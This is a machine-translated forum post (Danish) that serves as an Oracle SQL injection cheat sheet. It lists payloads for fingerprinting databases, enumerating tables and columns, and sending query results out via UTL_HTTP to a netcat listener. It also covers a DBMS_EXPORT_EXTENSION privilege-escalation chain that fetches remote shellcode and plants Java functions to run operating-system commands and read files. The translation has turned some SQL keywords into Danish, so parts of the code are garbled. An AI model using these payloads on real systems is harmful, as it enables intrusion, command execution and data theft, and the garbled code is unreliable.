Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 11931|Svar: 0

[Sikker kommunikation] SQL injection notes oracle

[Kopier link]
Opslået på 24/01/2015 12.58.17 | | |
Dette indlæg blev sidst redigeret af test den 24-1-2015 kl. 13:01

Kommentar: --
Udførelse af flere sætninger understøttes ikke, og fødererede forespørgsler understøttes
Databasenavne, tabelnavne og kolonnenavne er alle skrevet med store bogstaver.


længde(felt)
ascii(substr(felt, N, 1))


og (vælg tælling(*) fra dual)>0 -- Bestem om det er orakel eller ej

Orden efter n--

og 1=2 union vælg null, null,.....,null fra dual-- erstat null med N eller 'N'

og 1=2 union select null, (sql-sætning) ,.....,null fra dual -- skift til (sql-sætning) ved 'N'

og (vælg antal(*) fra all_objects hvor object_name='UTL_HTTP')>0 -- Bestem om UTL_HTTP understøttes (eksport-IP'en er kendt)

og UTL_HTTP.request('http://LocalIP:port'|| (SQL-sætning)) =1-- Send beskeder fjernstyret til lokal, lokal lytning nc -vv -l -p 1234


SQL-udsagn
Vælg banner fra sys.v_$version, hvor rownum=1 for at forespørge orakelversionen
vælg medlem fra v$logfile hvor rownum=1 Forespørg logfilens sti (Windows eller Linux)
vælg utl_inaddr.get_host_address fra dual for at forespørge database-lytte-IP'en
Vælg instance_name fra v$instance for at forespørge sid'en
Vælg navn fra v$database Forespørg det aktuelle databasenavn
Vælg sys_context ('Userenv', 'current_user') fra Dual Query Database Users
Vælg * fra session_roles hvor rownum=1 for at forespørge de aktuelle brugerrettigheder
Vælg * fra session_roles hvor rownum=1 [og rolle<>'første tilladelsesnavn']



vælg table_name fra user_tables hvor rownum=1 Det første tabelsegment i den aktuelle database
vælg table_name||','|| tablespace_name fra user_tables hvor rownum=1 Første tabelsegment, database (til verifikation er det måske ikke v$database)
vælg table_name fra user_tables hvor rownum=1 og table_name<>'første tabelsegment' Det andet tabelsegment i den aktuelle database

vælg column_name fra user_tab_columns hvor rownum=1 og table_name='Table Segment' Det første felt, der svarer til tabelnavnet
vælg column_name fra user_tab_columns hvor rownum=1 og table_name='Tabelsegment' og column_name<>'Første felt' Det andet felt, der svarer til tabelnavnet

Vælg felt fra tabelsegmentet, hvor rownum=1 overtræder indholdet på første linje
Vælg felt fra tabelsegment, hvor rownum=1 og felt <> 'første linje indhold' eksponerer andet linjeindhold.


Tværbibliotek
Vælg ejer fra all_tables hvor rownum=1 forespørger det første databasenavn
vælg ejer fra all_tables hvor rownum=1 og ejer<> 'Første databasenavn' for at forespørge det andet databasenavn

vælg table_name fra all_tables hvor rownum=1 og owner='databasenavn' Forespørg i den første tabels navn på den tilsvarende database
Vælg table_name fra all_tables hvor rownum=1 og ejer='databasenavn' og table_name<>'første tabelnavn' for at forespørge det andet tabelnavn i den tilsvarende database

vælg column_name fra all_tab_columns hvor rownum=1 og owner='databasenavn' og table_name='table segment' Det første felt, der svarer til tabelnavnet
Vælg column_name fra all_tab_columns hvor rownum=1 og ejer='databasenavn' og table_name='tabelsegment' og column_name<>'første felt' Det andet felt, der svarer til tabelnavnet

Vælg felt fra databasen. tabelsegment, hvor rownum=1 overtræder indholdet af den første linje
Vælg felt fra databasen. Tabelsegmentet, hvor rownum=1 og feltet <> 'First Line Content' overtræder indholdet i anden række





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); flersætnings-SLUT; --','SYS',0,'1',0)--

Hvis 'is escaped, bruges chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Hvis flere sætninger er for lange, kan du skrive erklæringen til hjemmesidens fil og bruge utl_http.request til at hente den.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Opret en JAVA-pakke SecTest
runCMD bruges til at udføre systemkommandoer
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT'' ERKLÆRER PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', opret eller erstat og kompiler java-kilde kaldet "SecTest" som import java.io.*; offentlig klasse SecTest udvider Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Streng stemp,str=""; mens((stemp=minLæser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Undtagelse e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--

readFile bruges til at læse filen
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT'' ERKLÆRER PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', opret eller erstat og kompiler java-kilde kaldet "SecTest" som import java.io.*; offentlig klasse SecTest udvider Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Streng stemp,str=""; mens((stemp=minLæser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Undtagelse e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--



Giv Java-tilladelser
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILER>>'''''''',''''''''udføre''''''''); slut; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--



Opret en funktion
SecRunCMD-funktionen
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', oprette eller erstatte funktionen SecRunCMD(p_cmd i varchar2) returner varchar2 som sprog java name''''''''SecTest.runCMD(java.lang.String) returner String'''''''' ; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--

SecReadFile-funktionen
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', oprette eller erstat-funktion SecReadFile(filnavn i varchar2) returnere varchar2 som sprogets java-navn''''''''SecTest.readFile(java.lang.String) returnere String' '''''''; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--



Giv tilladelse til at udføre den offentlige funktion
SecRunCMD får tilladelser
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START UDFØR ØJEBLIKKELIGT ''''overlad alt på SecRunCMD til offentligheden''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--

SecReadFile
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE ØJEBLIKKELIGT ''''overdrage alt på SecReadFile til offentligheden''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--



Detekterer, om funktionen blev oprettet med succes
og (vælg antal(*) fra all_objects hvor object_name='SECRUNCMD')>0--
og (vælg antal(*) fra all_objects hvor object_name='SECREADFILE')>0--



Udfør kommandoen
og '1'<>(vælg system. SecRunCMD('Execute command') fra dual)--
og '1'<>(vælg system. SecReadFile('fil fysisk adresse') fra dual)--
eller
og 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null fra dual--
og 1=2 union select null,...,sys. SecReadFile('fil fysisk adresse'),...,null fra dual--
eller
og '1'<>(vælg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Udfør kommando'),' ',' '),'\n',' ')) fra dual)--
og '1'<>(vælg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) fra dual)--



Slet-funktion
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop function SecRunCMD''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN AT UDFØRE ØJEBLIKKELIG '''''drop-funktion SecReadFile''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--




Tidligere:Kan jeg ansøge om moderation, hvilke betingelser har jeg brug for?
Næste:ORALCE får værtsnavnet og IP-adressen
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com